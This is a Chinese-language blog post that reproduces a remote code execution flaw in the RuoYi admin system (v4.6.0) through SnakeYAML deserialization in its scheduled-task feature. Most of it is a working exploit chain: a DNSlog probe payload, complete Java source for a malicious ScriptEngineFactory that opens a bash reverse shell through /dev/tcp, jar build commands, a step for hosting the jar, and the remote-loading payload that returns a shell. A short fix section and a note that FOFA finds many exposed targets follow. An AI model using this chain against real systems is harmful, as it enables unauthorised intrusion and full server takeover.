前言
工作中碰到一个系统是用了若依后台管理系统CMS的,碰巧 2021hvv 期间有爆出若依的RCE 0day,借此复现一下
漏洞描述
若依后台管理系统使用了snakeyaml 的jar包,snakeyaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。而若依后台管理系统可以通过定时任务功能构造payload远程调用jar包,从而执行任意命令
影响版本
V4.6.0版本经测试存在
漏洞分析
太菜了,就不分析了,可参考这篇文章,写的很详细了。在此感谢大佬写的分析文章
https://www.cnblogs.com/nice0e3/p/14514882.html
漏洞复现
dnslog验证漏洞
1
| org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://a85o5r.dnslog.cn/"]]]]')
|
执行后dnslog收到回显
至此基本可以确定存在漏洞,
然后去github找一下yaml反序列化的exp
jar文件源码:https://github.com/artsploit/yaml-payload
关键java文件代码在AwesomeScriptEngineFactory.java
中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package artsploit;
import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ip/端口号 0>&1"}); } catch (IOException e) { e.printStackTrace(); } }
@Override public String getEngineName() { return null; }
@Override public String getEngineVersion() { return null; }
@Override public List<String> getExtensions() { return null; }
@Override public List<String> getMimeTypes() { return null; }
@Override public List<String> getNames() { return null; }
@Override public String getLanguageName() { return null; }
@Override public String getLanguageVersion() { return null; }
@Override public Object getParameter(String key) { return null; }
@Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; }
@Override public String getOutputStatement(String toDisplay) { return null; }
@Override public String getProgram(String... statements) { return null; }
@Override public ScriptEngine getScriptEngine() { return null; } }
|
修改后编译方法
1 2
| javac src/artsploit/AwesomeScriptEngineFactory.java //会生成一个AwesomeScriptEngineFactory.class文件 jar -cvf yaml-payload.jar -C src/ . //将src目录下的文件打包为yaml-payload.jar的jar包
|
在自己服务器上开启http挂载
1
| python3 -m http.server 80
|
监听我要执行命令的端口
以上,漏洞利用的环境就搭建完毕了
修改payload为自己服务器的ip,远程加载jar文件
1
| org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://ip/yaml-payload.jar"]]]]')
|
执行后可以看到http服务收到了请求
成功获取到shell
漏洞修复
加入new SafeConstructor()
类进行过滤
1 2 3 4 5 6 7 8 9 10 11 12
| public class main { public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://ip:1234/yaml-payload.jar\"]\n" + " ]]\n" + "]"; Yaml yaml = new Yaml(new SafeConstructor()); yaml.load(context); } }
|
再次进行反序列化会抛异常。
再者就是拒绝不安全的反序列化操作,反序列化数据前需要经过校验或拒绝反序列化数据可控。
结尾
使用fofa
搜索,若依后台管理系统使用挺多的,理论上只要登录进后台就可以RCE